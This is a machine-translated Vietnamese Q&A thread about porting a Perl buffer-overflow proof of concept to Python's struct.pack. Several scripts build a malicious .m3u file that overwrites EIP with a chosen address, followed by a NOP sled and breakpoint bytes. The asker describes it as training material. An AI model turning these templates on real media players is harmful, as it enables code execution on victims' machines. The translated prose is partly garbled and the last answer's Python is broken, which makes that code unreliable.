2011-06-17 30 views
8

Tôi đã làm việc về một số phát triển khai thác gần đây để chuẩn bị sẵn sàng cho một khóa đào tạo và tôi đã gặp phải vấn đề với hướng dẫn. Tôi đã làm theo cùng với tất cả các hướng dẫn tôi có thể tìm thấy, bằng cách sử dụng Python như trái ngược với ngôn ngữ các hướng dẫn được sử dụng, ngoài sở thích. Tôi đang cố gắng để crosscode tất cả mọi thứ, nhưng tôi không thể tìm ra cách để crosscode Perl của Pack() chức năng.Chức năng Gói của Perl ('V') bằng Python?

TL; DR: Tôi đang cố gắng để dịch này để python:

my $file= "test1.m3u"; 
my $junk= "A" x 26094; 
my $eip = pack('V',0x000ff730); 

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc"; 
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file"); 
print $FILE $junk.$eip.$shellcode; 
close($FILE)print "m3u File Created successfully\n"; 

tôi đã tìm thấy) chức năng struct.pack (Python, nhưng khi tôi sử dụng

Fuzzed.write(struct.pack('V', 0x773D10A4)) 

, nó dừng chương trình và không hoạt động. Tôi đang làm gì sai?

Đây là toàn bộ mã nguồn của tôi

import struct 

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w') 
Fuzzed.write('A' * 26072) 
string = str(struct.pack('V',0x773D10A4)) 
Fuzzed.write(string) 
Fuzzed.write('C' * 3000) 
+0

Bạn lấy 'V' làm ký tự định dạng ở đâu? Loại đó là nghĩa vụ phải đại diện? Sử dụng 'I' cho' unsigned int' (4 byte). –

Trả lời

11

Hãy thử sử dụng các mẫu "L<" gói thay vì "V". Điều này sẽ làm việc trong Perl và Python cả hai. NV là phương pháp Perl cũ hơn để chỉ định độ tuổi cuối cùng và <> là phương pháp mới hơn. Có vẻ như khi Python mượn pack từ Perl, nó chỉ lấy giao diện mới, linh hoạt hơn.

Edit: Python muốn các <trước các Bộ xác định kiểu, trong khi Perl muốn nó sau. Không hẳn như vậy tương thích :(

8

Python của struct.pack sử dụng ký tự đầu tiên cho endianess/size variation, và sau đó một hoặc nhiều hơn cho Vmeans 32bit unsigned int/ít về cuối nhỏ các data type. Perl.

Các Python tương tự là struct.pack('<I', 0x773D10A4).

+0

Cảm ơn, điều đó đã hoạt động hoàn hảo. – Schinza

1

Đây là chính xác những gì bạn muốn. thế nào về quá trình đào tạo?

import struct

file = 'crash.m3u' junk = b'\x41' * 26091 eip = struct.pack('<I', 0x1d5f23a) preshellcode = b'\xcc' * 4 shellcode = b'\x90' * 25 + b'\xcc' fp = open(file, 'wb') fp.write(junk + eip + preshellcode + shellcode) fp.close() import binascii print binascii.hexlify(open(file, 'rb').read()) print 'm3u file is ready'
2

Tôi đã dịch sang python và tôi đã thử chuyển đổi MP3. Đây là câu trả lời của bạn:

import sys 
file = "8.m3u" 
junk = "A"*26042 
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A 
shellcode =" " 
shellcode += "\x90"*25 
shellcode += "xcc" 
shellcode += "\x90"*25 
tmp = junk + eip + shellcode 
D = open(file, 'w') 
D.write(tmp) 
D.close() 
print "m3u File Created successfully\n"